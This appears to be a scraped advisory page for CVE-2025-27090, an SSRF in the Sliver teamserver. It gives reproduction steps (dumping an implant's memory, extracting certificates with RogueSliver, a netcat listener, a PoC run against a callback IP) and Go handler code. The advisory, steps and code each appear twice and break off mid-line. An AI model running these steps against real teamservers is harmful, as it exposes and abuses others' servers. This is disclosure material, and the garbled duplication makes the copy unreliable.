CVE-2025-27090

Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. The reverse port forwarding in sliver teamserver allows the implant to open a reverse tunnel on the sliver teamserver without verifying if the operator instructed the implant to do so. The only impact that has been shown is the exposure of the server's IP address to a third party. This issue has been addressed in version 1.5.43 and all users are advised to upgrade. There are no known workarounds for this vulnerability.

Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. The reverse port forwarding in sliver teamserver allows the implant to open a reverse tunnel on the sliver teamserver without verifying if the operator instructed the implant to do so. The only impact that has been shown is the exposure of the server's IP address to a third party. This issue has been addressed in version 1.5.43 and all users are advised to upgrade. There are no known workarounds for this vulnerability.

Summary

The reverse port forwarding in sliver teamserver allows the implant to open a reverse tunnel on the sliver teamserver without verifying if the operator instructed the implant to do so

Reproduction steps

Run server

wget https://github.com/BishopFox/sliver/releases/download/v1.5.42/sliver-server_linux
chmod +x sliver-server_linux
./sliver-server_linux

Generate binary

generate --mtls 127.0.0.1:8443

Run it on windows, then Task manager -> find process -> Create memory dump file

Install RogueSliver and get the certs

git clone https://github.com/ACE-Responder/RogueSliver.git
pip3 install -r requirements.txt --break-system-packages
python3 ExtractCerts.py implant.dmp

Start callback listener. Teamserver will connect when POC is run and send "ssrf poc" to nc

nc -nvlp 1111

Run the poc (pasted at bottom of this file)

python3 poc.py <SLIVER IP> <MTLS PORT> <CALLBACK IP> <CALLBACK PORT>
python3 poc.py 192.168.1.33 8443 44.221.186.72 1111

Details

We see here an envelope is read from the connection and if the envelope.Type matches a handler the handler will be executed

func handleSliverConnection(conn net.Conn) {
	mtlsLog.Infof("Accepted incoming connection: %s", conn.RemoteAddr())
	implantConn := core.NewImplantConnection(consts.MtlsStr, conn.RemoteAddr().String())

	defer func() {
		mtlsLog.Debugf("mtls connection closing")
		conn.Close()
		implantConn.Cleanup()
	}()

	done := make(chan bool)
	go func() {
		defer func() {
			done <- true
		}()
		handlers := serverHandlers.GetHandlers()
		for {
			envelope, err := socketReadEnvelope(conn)
			if err != nil {
				mtlsLog.Errorf("Socket read error %v", err)
				return
			}
			implantConn.UpdateLastMessage()
			if envelope.ID != 0 {
				implantConn.RespMutex.RLock()
				if resp, ok := implantConn.Resp[envelope.ID]; ok {
					resp <- envelope // Could deadlock, maybe want to investigate better solutions
				}
				implantConn.RespMutex.RUnlock()
			} else if handler, ok := handlers[envelope.Type]; ok {
				mtlsLog.Debugf("Received new mtls message type %d, data: %s", envelope.Type, envelope.Data)
				go func() {
					respEnvelope := handler(implantConn, envelope.Data)
					if respEnvelope != nil {
						implantConn.Send <- respEnvelope
					}
				}()
			}
		}
	}()

Loop:
	for {
		select {
		case envelope := <-implantConn.Send:
			err := socketWriteEnvelope(conn, envelope)
			if err != nil {
				mtlsLog.Errorf("Socket write failed %v", err)
				break Loop
			}
		case <-done:
			break Loop
		}
	}
	mtlsLog.Debugf("Closing implant connection %s", implantConn.ID)
}

The available handlers:

func GetHandlers() map[uint32]ServerHandler {
	return map[uint32]ServerHandler{
		// Sessions
		sliverpb.MsgRegister:    registerSessionHandler,
		sliverpb.MsgTunnelData:  tunnelDataHandler,
		sliverpb.MsgTunnelClose: tunnelCloseHandler,
		sliverpb.MsgPing:        pingHandler,
		sliverpb.MsgSocksData:   socksDataHandler,

		// Beacons
		sliverpb.MsgBeaconRegister: beaconRegisterHandler,
		sliverpb.MsgBeaconTasks:    beaconTasksHandler,

		// Pivots
		sliverpb.MsgPivotPeerEnvelope: pivotPeerEnvelopeHandler,
		sliverpb.MsgPivotPeerFailure:  pivotPeerFailureHandler,
	}
}

If we send an envelope with the envelope.Type equaling MsgTunnelData, we will enter the tunnelDataHandler function

// The handler mutex prevents a send on a closed channel, without it
// two handlers calls may race when a tunnel is quickly created and closed.
func tunnelDataHandler(implantConn *core.ImplantConnection, data []byte) *sliverpb.Envelope {
	session := core.Sessions.FromImplantConnection(implantConn)
	if session == nil {
		sessionHandlerLog.Warnf("Received tunnel data from unknown session: %v", implantConn)
		return nil
	}
	tunnelHandlerMutex.Lock()
	defer tunnelHandlerMutex.Unlock()
	tunnelData := &sliverpb.TunnelData{}
	proto.Unmarshal(data, tunnelData)

	sessionHandlerLog.Debugf("[DATA] Sequence on tunnel %d, %d, data: %s",…

Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. The reverse port forwarding in sliver teamserver allows the implant to open a reverse tunnel on the sliver teamserver without verifying if the operator instructed the implant to do so. The only impact that has been shown is the exposure of the server's IP address to a third party. This issue has been addressed in version 1.5.43 and all users are advised to upgrade. There are no known workarounds for this vulnerability.

Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. The reverse port forwarding in sliver teamserver allows the implant to open a reverse tunnel on the sliver teamserver without verifying if the operator instructed the implant to do so. The only impact that has been shown is the exposure of the server's IP address to a third party. This issue has been addressed in version 1.5.43 and all users are advised to upgrade. There are no known workarounds for this vulnerability.

Summary

The reverse port forwarding in sliver teamserver allows the implant to open a reverse tunnel on the sliver teamserver without verifying if the operator instructed the implant to do so

Reproduction steps

Run server

wget https://github.com/BishopFox/sliver/releases/download/v1.5.42/sliver-server_linux
chmod +x sliver-server_linux
./sliver-server_linux

Generate binary

generate --mtls 127.0.0.1:8443

Run it on windows, then Task manager -> find process -> Create memory dump file

Install RogueSliver and get the certs

git clone https://github.com/ACE-Responder/RogueSliver.git
pip3 install -r requirements.txt --break-system-packages
python3 ExtractCerts.py implant.dmp

Start callback listener. Teamserver will connect when POC is run and send "ssrf poc" to nc

nc -nvlp 1111

Run the poc (pasted at bottom of this file)

python3 poc.py <SLIVER IP> <MTLS PORT> <CALLBACK IP> <CALLBACK PORT>
python3 poc.py 192.168.1.33 8443 44.221.186.72 1111

Details

We see here an envelope is read from the connection and if the envelope.Type matches a handler the handler will be executed

func handleSliverConnection(conn net.Conn) {
	mtlsLog.Infof("Accepted incoming connection: %s", conn.RemoteAddr())
	implantConn := core.NewImplantConnection(consts.MtlsStr, conn.RemoteAddr().String())

	defer func() {
		mtlsLog.Debugf("mtls connection closing")
		conn.Close()
		implantConn.Cleanup()
	}()

	done := make(chan bool)
	go func() {
		defer func() {
			done <- true
		}()
		handlers := serverHandlers.GetHandlers()
		for {
			envelope, err := socketReadEnvelope(conn)
			if err != nil {
				mtlsLog.Errorf("Socket read error %v", err)
				return
			}
			implantConn.UpdateLastMessage()
			if envelope.ID != 0 {
				implantConn.RespMutex.RLock()
				if resp, ok := implantConn.Resp[envelope.ID]; ok {
					resp <- envelope // Could deadlock, maybe want to investigate better solutions
				}
				implantConn.RespMutex.RUnlock()
			} else if handler, ok := handlers[envelope.Type]; ok {
				mtlsLog.Debugf("Received new mtls message type %d, data: %s", envelope.Type, envelope.Data)
				go func() {
					respEnvelope := handler(implantConn, envelope.Data)
					if respEnvelope != nil {
						implantConn.Send <- respEnvelope
					}
				}()
			}
		}
	}()

Loop:
	for {
		select {
		case envelope := <-implantConn.Send:
			err := socketWriteEnvelope(conn, envelope)
			if err != nil {
				mtlsLog.Errorf("Socket write failed %v", err)
				break Loop
			}
		case <-done:
			break Loop
		}
	}
	mtlsLog.Debugf("Closing implant connection %s", implantConn.ID)
}

The available handlers:

func GetHandlers() map[uint32]ServerHandler {
	return map[uint32]ServerHandler{
		// Sessions
		sliverpb.MsgRegister:    registerSessionHandler,
		sliverpb.MsgTunnelData:  tunnelDataHandler,
		sliverpb.MsgTunnelClose: tunnelCloseHandler,
		sliverpb.MsgPing:        pingHandler,
		sliverpb.MsgSocksData:   socksDataHandler,

		// Beacons
		sliverpb.MsgBeaconRegister: beaconRegisterHandler,
		sliverpb.MsgBeaconTasks:    beaconTasksHandler,

		// Pivots
		sliverpb.MsgPivotPeerEnvelope: pivotPeerEnvelopeHandler,
		sliverpb.MsgPivotPeerFailure:  pivotPeerFailureHandler,
	}
}

If we send an envelope with the envelope.Type equaling MsgTunnelData, we will enter the tunnelDataHandler function

// The handler mutex prevents a send on a closed channel, without it
// two handlers calls may race when a tunnel is quickly created and closed.
func tunnelDataHandler(implantConn *core.ImplantConnection, data []byte) *sliverpb.Envelope {
	session := core.Sessions.FromImplantConnection(implantConn)
	if session == nil {
		sessionHandlerLog.Warnf("Received tunnel data from unknown session: %v", implantConn)
		return nil
	}
	tunnelHandlerMutex.Lock()
	defer tunnelHandlerMutex.Unlock()
	tunnelData := &sliverpb.TunnelData{}
	proto.Unmarshal(data, tunnelData)

	sessionHandlerLog.Debugf("[DATA] Sequence on tunnel %d, %d, data: %s",…

SSRF in sliver teamserver in github.com/bishopfox/sliver

These are all security issues fixed in the govulncheck-vulndb-0.0.20250312T181707-1.1 package on the GA media of openSUSE Tumbleweed.